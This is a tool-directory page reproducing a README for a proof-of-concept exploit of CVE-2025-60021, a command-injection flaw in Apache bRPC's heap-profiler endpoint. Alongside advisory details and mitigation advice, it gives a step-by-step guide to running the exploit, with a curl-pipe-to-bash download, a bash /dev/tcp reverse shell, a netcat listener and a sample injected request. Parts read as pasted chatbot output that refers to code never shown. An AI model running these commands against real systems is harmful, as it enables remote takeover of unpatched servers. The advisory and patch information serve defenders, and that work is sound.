Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Ashwesker-CVE-2025-60021 — CVE-2025-60021 | Kitploit
Tools/GitHubGitHub/mefhika120/ashwesker-cve-2025-60021
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
GitHubmefhika120/ashwesker-cve-2025-60021

Ashwesker-CVE-2025-60021

CVE-2025-60021

View Repository
27 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛑 CVE-2025-60021 — Apache bRPC Remote Command Injection

G_GmijOXQAAX5iE

📌 Overview

CVE-2025-60021 is a critical remote command injection vulnerability found in the heap profiler built-in service (/pprof/heap) of Apache bRPC versions earlier than 1.15.0, allowing unauthenticated attackers to run arbitrary OS commands. (NVD)


🔓 Vulnerability Details

Download Tool
AttributeInformation
Name / IDCVE-2025-60021
ProductApache bRPC (all platforms)
Affected Versions< 1.15.0
Published Date16 Jan 2026 (NVD)
Vulnerability TypeRemote Command Injection (CWE-77) (NVD)
Endpoint/pprof/heap
TriggerUnsanitized extra_options parameter
Root CauseInput not validated before executing as OS command (openwall.com)

❗Attackers can remotely inject commands simply by manipulating this profiling parameter.


🚨 Severity & Risk

🔥 Severity Rating: Critical 📊 CVSS v3.1 Base Score: 9.8 / 10 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

Impact CategoryEffect
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Attack VectorNetwork
PrivilegesNone required
User InteractionNone needed(INCIBE)

👉 This means attackers can execute arbitrary commands remotely with no login — a worst-case scenario for exposed services.


🧠 Technical Breakdown

🔍 How It Works

  1. Heap Profiler Exposure: bRPC exposes a profiling endpoint (/pprof/heap) meant for memory analysis (jemalloc). (openwall.com)
  2. Input Handling Bug: The endpoint accepts an extra_options parameter. Instead of sanitizing it, bRPC passes it directly to the OS shell. (openwall.com)
  3. Command Injection: A malicious actor crafts input that includes system commands → the service executes them. (CVE Details)

Step-by-Step Guide to Using the CVE-2025-60021 PoC Script

This assumes you have the script saved as CVE-2025-60021.py (even though the real CVE is 2025-60021—feel free to rename it). It's a Python 3 script for demonstrating the remote command injection vulnerability in Apache bRPC's heap profiler. Only run this on systems you own or have explicit written permission to test—exploiting without authorization is illegal.

Prerequisites

  1. Python Environment: Ensure you have Python 3 installed (e.g., 3.6+). The script uses built-in modules plus requests and argparse (which are standard or easy to install).

  2. Install Dependencies: If not already present, install the requests library:

    root@kitploit:~
    pip install requests
    
  3. Target Setup: You need a vulnerable Apache bRPC server:

    • Version < 1.15.0.
    • Heap profiler enabled (check server config; it's often on by default in dev setups).
    • Accessible over network (e.g., http://localhost:8060 or a remote IP/port). If testing locally, set up a vulnerable bRPC instance (e.g., via Docker or source build—refer to Apache bRPC docs).
  4. Permissions: Run with sudo only if needed for network access or privileges; otherwise, plain python3 is fine.

Step 1: Save the Script

Copy the PoC code I provided earlier into a file named CVE-2025-60021.py. Make it executable if desired:

root@kitploit:~
chmod +x CVE-2025-60021.py

Step 2: Understand the Arguments

The script takes two required positional arguments:

  • target: The URL of the vulnerable bRPC server (e.g., http://192.168.1.100:8060 or http://targets:8060—fix any typos like missing scheme or invalid host).
  • cmd: The command to execute on the target (e.g., "id" for user info, or something more complex like "curl http://your-server/reverse-shell.sh | bash" for a reverse shell). Use && or ; to chain multiple commands.

Step 3: Run the Script

Open a terminal (e.g., in Kali Linux as you're using) and execute it with your target and command. Example commands:

  • Basic test (get system info):

    root@kitploit:~
    sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
    
  • Reverse shell example (replace your-listener-ip and port; set up a listener like nc -lvnp 4444 first):

    root@kitploit:~
    sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
    
  • If using HTTPS or a different port, adjust the URL accordingly (e.g., https://target:443—the script handles it, but add --insecure if cert issues).

Step 4: Interpret the Output

Success Indicators:

  • Exploit likely succeeded! (200 OK)
  • Possible command output in the response body (e.g., uid=0(root)... if it ran id).
  • For non-output commands (e.g., file writes or shells), check the target server (logs, processes) or your listener.

Failure Indicators (like what you saw):

  • Got status code 404 - maybe not vulnerable?"
  • Error messages like "[E1002] Heap profiler is not enabled" mean the endpoint isn't active—enable it on the target or find a different vuln instance.
  • Timeouts or connection errors: Target unreachable, firewall blocking, or wrong port.
  • If no output leaks, the command still runs silently on the server.

Step 5: Troubleshooting Common Issues

  • 404 Error: Heap profiler disabled. Enable it in bRPC config (e.g., --enable_heap_profiler=true) and restart the server.
  • Argparse Error: Forgot the cmd argument—always include it.
  • No Response Body Output: Some commands don't produce stdout. Use ones that do (e.g., echo "test" > /tmp/proof.txt) and check the file on the target.
  • Privileges: If the bRPC process runs as non-root, commands are limited to that user's perms.
  • Payload Tweaks: If ; doesn't work, try && or | for chaining. URL-encode special chars if needed (script handles most).
  • Testing Locally: Spin up a vulnerable Docker container for bRPC to verify without risking real systems.

Step 6: Cleanup and Ethical Notes

  • After testing, patch the target: Upgrade to bRPC 1.15.0+ or disable /pprof/heap.
  • Delete any artifacts (e.g., shells or files created).
  • Log your tests for compliance if pentesting.

If the exploit succeeded on a vulnerable target (e.g., heap profiler enabled, unpatched bRPC <1.15.0), the output in your terminal would look something like this (exact details depend on the command's stdout and server config):

root@kitploit:~
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output

Response body (possible command output):

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux

[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]

The key signs: 200 OK status, and if your command (like id && whoami && uname -a) produces output, it might appear in the response body (mixed with profiler junk). For silent commands (e.g., reverse shell), check the target server or your listener for activity—no direct terminal confirmation beyond the 200. 😈


🛠 Mitigation & Fixes

✅ Primary Solution

  • 👉 Upgrade Apache bRPC to version 1.15.0 or later. (NVD)

🧩 Alternative Fix

  • 🛠 Apply the official patch manually from the Apache bRPC GitHub repository (Pull Request #3101). (openwall.com)

🔒 Additional Protections

  • Firewall / ACLs: Block access to /pprof/heap from untrusted networks.
  • Disable Profiling: Turn off heap profiling where not needed.
  • Monitor Logs: Watch for unusual profiler activity.

💡 Why This Is Dangerous

✔ Attackers don’t need credentials. ✔ It works over the network. ✔ It affects all platforms using vulnerable bRPC. ✔ It can lead to full system compromise.

Businesses using bRPC for critical services (e.g., search, storage, machine learning pipelines) are especially at risk because this flaw turns a diagnostic tool into an attack vector. (Daily CyberSecurity)


🧾 Additional Notes

⚠ EPSS (Exploit Prediction): Some feeds indicate low exploit observation so far, but the ease of exploitation means it could be leveraged in real attacks quickly. (Tenable®)

📌 Classification: CWE-77 — Improper Neutralization of Special Elements in a Command (Command Injection). (NVD)


📎 References

  • NIST/NVD vulnerability entry for CVE-2025-60021 (NVD)
  • Apache & Openwall Security Advisory details (openwall.com)
  • INCIBE-CERT CVSS & metrics breakdown (INCIBE)
  • CVE Details overview (affected versions and fix guidance) (CVE Details)

If you’re running Apache bRPC in production — patch immediately and restrict access to diagnostic endpoints to reduce risk.